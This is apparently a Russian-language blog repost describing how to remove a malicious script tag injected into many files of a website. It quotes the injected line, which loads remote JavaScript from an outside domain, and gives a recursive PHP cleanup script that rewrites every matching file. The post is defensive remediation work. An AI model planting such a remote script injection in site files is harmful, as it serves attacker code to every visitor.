Главная > Web разработки > Замена одинаковой строки всех файлов сайта…

Замена одинаковой строки всех файлов сайта…

Пару раз были случаи когда моему знакомому приходилось “чистить” свои сайты от вредоносного кода внедренного в большинство файлов, а я ничего путного не мог ему предложить, но вот прочитал статейку на одном сайте как раз про это и решил перепостить сюда. Оригинальный текст не сохранен, но вы можете его прочесть перейдя к сайту.

Искать будем сторонний код:

<script src=”http://microsprogram.com/editpage.js”></script>

Поскольку вручную менять код файлов – титанический и глупый труд, а лень, как известно, двигатель – прогресса, решено было написать небольшой скрипт под названием files123.php, удаляющий одинаковый зловредный код из всех файлов сайта.

Вот что получилось:

Код:

<?php
$root  =  $_SERVER['DOCUMENT_ROOT'];
$search = ‘<script src=”http://microsprogram.com/editpage.js”></script>’; //строка, которую нужно найти в каждом файле и заменить на ”
$thisfile = ‘files123.php’; //чтобы в процессе не заменить искомую строку в этом же файле
function find_and_replace($dir,$search,$thisfile)
{

$new_dir = null;
$dir_files = opendir($dir);
while(false !== ($file = readdir($dir_files)))
{

if($file != ‘.’ && $file != ‘..’)
$new_dir[] = $dir.”/”.$file;
}

if($new_dir)
foreach($new_dir as $check )
{
if((is_file($check)) && (basename($check) !== $thisfile)) {
$handle = fopen($check, “rb”);
$contents = ”;
while (!feof($handle)) {
$contents .= fread($handle, 8192);
}
fclose($handle);
if (strpos($contents,$search) !== false) {
$file = fopen ($check,”w+”);
$str = str_replace($search,”,$contents);
fputs($file, $str);
fclose ($file);
echo $check.”<br>”;
}
}
elseif(is_dir($check))
find_and_replace($check,$search,$thisfile);
}
}
find_and_replace($root,$search,$thisfile);

Добавить комментарий

Fill in your details below or click an icon to log in:

Логотип WordPress.com

You are commenting using your WordPress.com account. Log Out / Изменить )

Фотография Twitter

You are commenting using your Twitter account. Log Out / Изменить )

Фотография Facebook

You are commenting using your Facebook account. Log Out / Изменить )

Connecting to %s

Follow

Get every new post delivered to your Inbox.